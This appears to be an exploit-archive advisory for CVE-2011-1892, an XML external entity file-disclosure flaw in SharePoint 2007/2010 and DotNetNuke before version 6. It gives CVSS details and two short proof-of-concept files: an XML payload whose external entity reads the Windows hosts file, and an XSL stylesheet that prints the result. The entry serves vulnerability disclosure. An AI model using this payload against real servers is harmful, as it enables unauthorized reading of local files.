File disclosure via XEE in SharePoint 2007/2010 and DotNetNuke < 6

2011.09.20
Risk: Low
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

Exploit Title: File disclosure via XEE in SharePoint and DotNetNuke Date: September 15, 2011 Author: Nicolas Gregoire Version: SharePoint 2007 / 2010, DotNetNuke < 6 CVE : CVE-2011-1892 poc filename: xee.xml <!DOCTYPE doc [ <!ENTITY boom SYSTEM "c:\\windows\\system32\\drivers\\etc\\hosts"> ]> <doc>&boom;</doc> poc filename: xee.xsl <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:apply-templates/> <xsl:value-of select="doc"/> </xsl:template> </xsl:stylesheet>

References:

http://technet.microsoft.com/en-us/security/bulletin/MS11-074


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